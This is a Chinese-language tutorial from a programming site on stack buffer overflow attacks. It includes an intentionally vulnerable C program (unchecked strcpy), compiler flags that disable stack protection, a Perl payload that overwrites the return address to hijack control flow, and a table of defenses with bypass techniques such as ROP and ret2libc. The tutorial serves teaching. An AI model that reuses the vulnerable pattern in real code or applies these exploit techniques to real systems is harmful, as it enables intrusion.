首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> 關於C語言

緩衝區溢出攻擊原理與實戰演示:棧溢出漏洞利用詳解

     編輯:關於C語言

什麼是緩衝區溢出?

緩衝區溢出是指程序向緩衝區寫入數據時超出其邊界,導致相鄰記憶體被覆寫。按發生區域分為堆溢出和棧溢出,本文聚焦棧溢出原理與利用。

x86 棧幀結構與函數調用約定

三個關鍵寄存器:

  • EBP:棧底指針(幀基址),固定不變。
  • ESP:棧頂指針,隨壓棧/彈棧移動,棧向低地址增長。
  • EIP:指令指針,指向下一條將執行的指令。

函數調用時的棧操作(以 32 位 cdecl 為例)


// 調用者
push 參數2
push 參數1
call callee  ; 相當於 push EIP; jmp callee

// 被調用者(函數序言)
push EBP        ; 保存舊棧幀
mov  EBP, ESP   ; 建立新棧幀
sub  ESP, N     ; 分配局部變量空間

此時棧佈局(高地址 → 低地址):

[參數2]
[參數1]
[返回地址 EIP]  ← 關鍵目標
[舊 EBP]        ← EBP 指向這裡
[局部變量...]   ← ESP 指向這裡

函數返回時的棧恢復(函數尾聲)


leave  ; 相當於 mov ESP, EBP; pop EBP
ret    ; 相當於 pop EIP

漏洞代碼示例


void copyCmds(char* str) {
    char buff[6];
    strcpy(buff, str);  // 無長度檢查,經典漏洞
}

void hack() {
    printf("Hi, I am hacking\n");
}

int main(int argc, char** argv) {
    if (argc != 2) return 0;
    printf("copyCmds = %08x\n hack = %08x\n", copyCmds, hack);
    copyCmds(argv[1]);
    return 0;
}

利用思路:覆蓋返回地址

  1. 輸入超長字符串,填滿 buff[6]、舊 EBP,最終覆蓋棧上的返回地址。
  2. 將返回地址改寫為 hack() 的入口地址。
  3. copyCmds 執行 ret 時,彈出被篡改的地址,跳轉執行 hack()。

實戰步驟演示

1. 編譯(關閉棧保護)


gcc -g -m32 -fno-stack-protector stack.c -o stack

2. 獲取目標函數地址


$ ./stack hello
copyCmds = 08048444
hack = 08048478

3. 構造 Payload

需填充:buff[6] + EBP(4字節) + 新返回地址(4字節) = 14 字節起跳。實際偏移需通過調試確定。

使用 Perl 生成含十六進制地址的參數(小端序):


$arg = "aaaaaaaaaaaaaaaaaa" . "\x78\x84\x04\x08";  # 0x08048478
$cmd = "./stack " . $arg;
system($cmd);

4. 執行攻擊


$ perl hack.pl
copyCmds = 08048444
hack = 08048478
...
Hi, I am hacking

成功劫持控制流,執行了本不應被調用的 hack()。

防禦機制與繞過

防禦技術原理繞過思路
Stack Canary (GS/SSP)在返回地址前放置隨機值,函數返回前校驗信息洩露讀取 Canary、格式化字符串漏洞
ASLR (地址空間佈局隨機化)隨機化棧、堆、庫基址信息洩露、部分覆蓋、JIT 噴射
NX/DEP (不可執行棧)棧內存標記不可執行ROP (Return-Oriented Programming)、ret2libc
PIE (位置無關可執行文件)代碼段也隨機化同 ASLR 繞過

現代編譯器默認保護


$ gcc -m32 stack.c -o stack  # 默認開啟 -fstack-protector-strong
$ ./stack `python -c 'print "A"*20'`
*** stack smashing detected ***: terminated
Aborted (core dumped)

總結

  • 棧溢出核心在於無邊界檢查的拷貝操作(如 strcpy、gets、sprintf)。
  • 利用本質是覆蓋棧上返回地址,實現控制流劫持。
  • 現代系統通過 Canary + ASLR + NX + PIE 多層防禦大幅提高利用難度。
  • 開發中應使用安全函數(strncpy、snprintf),啟用編譯器保護,遵循最小權限原則。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved